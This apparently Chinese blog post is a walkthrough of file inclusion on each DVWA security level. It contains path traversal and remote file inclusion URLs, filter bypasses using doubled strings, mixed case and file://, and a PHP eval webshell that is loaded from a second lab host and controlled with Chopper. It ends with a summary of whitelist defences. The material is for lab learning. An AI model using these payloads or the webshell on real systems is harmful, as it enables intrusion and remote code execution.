DVWA檔案包含全等級繞過方法

集中一點登峰造極發表於2020-12-13

前言

    檔案包含漏洞:開發人員為了使程式碼更靈活,會將被包含的檔案設定為變數,用來進行動態呼叫,從而導致客戶端可以惡意呼叫一個惡意檔案,造成檔案包含漏洞。

一、Low級別

在這裡插入圖片描述
    如果你開啟發現有紅色報錯The PHP function allow_url_include is not enabled.可以參考此方法解決:https://blog.csdn.net/weixin_43847838/article/details/111087969.
先檢視原始碼(View Source):

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?> 

可以看到它沒有對page引數進行任何的過濾

1.1分析檔案包含漏洞測試網頁

    進入http://192.168.43.131/dvwa/vulnerabilities/fi/?page=include.php
分別點選file1.php、file2.php、file3.php
在這裡插入圖片描述
在這裡插入圖片描述
在這裡插入圖片描述
    這個時候會發現一個問題,僅僅是page後面的引數在變化。
進一步分析:
嘗試在page後面輸入test.php
在這裡插入圖片描述
    在頁面中會提醒,找不到test.php檔案,test.php是我們隨便測試的,自然沒有。
同時,頁面提醒中也暴露出來絕對路徑。那麼,說明伺服器會去尋找這個檔案,漏洞自然存在。

1.2 構造URL暴露重要資訊

測試本地檔案讀取:
驗證一下,先新建視窗,url處輸入
http://192.168.43.131/dvwa/php.ini
在這裡插入圖片描述
成功讀取到了這個配置檔案
接著返回dvwa檔案包含漏洞出輸入url:
http://192.168.43.131/dvwa/vulnerabilities/fi/?page=../../php.ini
在這裡插入圖片描述
得到
This file attempts to overwrite the original php.ini file. Doesnt always work. magic_quotes_gpc = Off allow_url_fopen on allow_url_include on
成功讀取服務端的檔案。

1.3 測試本地指令碼執行

    先在瀏覽器中新建視窗,url處輸入:
http://192.168.43.131/dvwa/phpinfo.php
在這裡插入圖片描述
得到PHP環境的配置資訊。
    再返回dvwa檔案包含的page引數後面進行輸入,構造url:
http://192.168.43.131/dvwa/vulnerabilities/fi/?page=../../phpinfo.php
在這裡插入圖片描述

    表明:檔案包含漏洞不單單能讀檔案,還能執行檔案,從這個漏洞上可以看出能夠導致重要的敏感資訊洩露。

1.4 測試遠端指令碼執行

    在page引數後面更改輸入,改成百度的域名嘗試一下能不能開啟網頁
http://192.168.43.131/dvwa/vulnerabilities/fi/?page=http://www.baidu.com
在這裡插入圖片描述
    喲,成功了,說明這個是可以進行遠端的,既然來都來到這一步了,如果把www.baidu.com改成一句話木馬檔案讓這個檔案執行,是不是就能用菜刀把整個目標拿下呢?乾脆練練手

1.5 包含一句話木馬檔案,並用菜刀連線

思路:
先在b伺服器放置webshell.txt
然後在a伺服器找到檔案包含漏洞
接著通過a伺服器去包含b的webshell.txt
然後用菜刀連線
測試前縷清關係
a就是我的kali(192.168.43.131)
b就是我的window(192.168.43.134)

1.5.1 一句話木馬

<?php
echo "hello my work!";
@eval($_POST['value']);?>?>

    先新建一個webshell.txt檔案,放在根目錄下
在這裡插入圖片描述
回到dvwa,url處輸入:
192.168.43.131/dvwa/vulnerabilities/fi/?page=http://192.168.43.134/webshell.txt
回車,成功輸出了字元hello my work! 說明這個txt檔案已經被執行了!
在這裡插入圖片描述

1.6 上菜刀

在這裡插入圖片描述
    成功連上了!
在這裡插入圖片描述

題外話,菜刀連不上可能是你的馬寫錯了,還有url,要細心檢查。如果連上以後,發現點選裡面的資料夾打不開了,這個時候可以試試點選左上角的清空快取庫。

二、Medium級別

檢視原始碼(View Source)

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?> 

    可以看到多了str_replace()函式,上面兩行過濾程式碼的意思就是將http://https://../..\"都替換為空””。既然 ../被過濾了。那麼,此時,就不能用../進行目錄跳轉。
可以通過雙寫,大小寫來繞過,或者使用絕對路徑來繞過

2.1雙寫繞過

192.168.43.131/dvwa/vulnerabilities/fi/?page=htthttp://p://www.baidu.com
在這裡插入圖片描述

2.2大小寫繞過

192.168.43.131/dvwa/vulnerabilities/fi/?page=HtTp://www.baidu.com
在這裡插入圖片描述

2.3 絕對路徑繞過

將文件放進C盤
在這裡插入圖片描述
在這裡插入圖片描述
http://192.168.43.134/dvwa/vulnerabilities/fi/?page=C:\phpinfo.txt
在這裡插入圖片描述

三、High級別

    先嚐試隨便輸入一個,看一下會報什麼錯誤
http://192.168.123.102/dvwa/vulnerabilities/fi/?page=haha.php
出現
ERROR: File not found!
在這裡插入圖片描述
    報錯頁面和前兩個等級不同,這次提醒中沒有爆出來路徑,我們檢視一下原始碼

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?> 

原來如此!分析一下這個程式碼
high級別的判定條件是:
if( !fnmatch( “file*”, $file ) && $file != “include.php” )
fnmatch()函式根據指定的模式來匹配檔名或字串。
fnmatch( "file*", $file )可以理解為,檢查傳入的$file是否匹配給出的shell萬用字元”file*”,如果匹配成功則返回true,否則返回false。
所以這段程式碼的意思就是包含的檔名中需要以file開頭,或者file就為include.php,否則就輸出報錯 “ERROR: File not found!”。
所以這裡就可以通過file協議來包含本地檔案來進行繞過

3.1 file協議包含本地檔案來進行繞過

    file協議,訪問本地計算機中的資料夾的檔案傳輸協議。
輸入
http://192.168.43.131/dvwa/vulnerabilities/fi/?page=file:///var/www/html/dvwa/phpinfo.php
在這裡插入圖片描述
    當然啦,在windows系統下也是一樣的,也是可以讀取的
192.168.43.134/dvwa/vulnerabilities/fi/?page=file://C:\phpinfo.txt
在這裡插入圖片描述
成功讀取。

四、impossible級別分析

檢視原始碼

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?> 

    可以看到這裡的過濾程式碼規定了可以被包含的檔名,也叫白名單模式,只要檔名和白名單上的不一樣就沒有辦法包含,就不會有安全問題,也就避免了檔案包含漏洞的產生。

總結

impossible級別
只允許4個檔名,有效防止了檔案包含漏洞。
黑名單方法–例如Medium,效果一般。
白名單方法–例如high和impossible級別,特別有效。

    本站所有文章均為原創,歡迎轉載,請註明文章出處: https://blog.csdn.net/weixin_43847838/article/details/111088010.。百度和各類採集站皆不可信,搜尋請謹慎鑑別。技術類文章一般都有時效性,本人習慣不定期對自己的博文進行修正和更新,因此請訪問出處以檢視本文的最新版本。

相關文章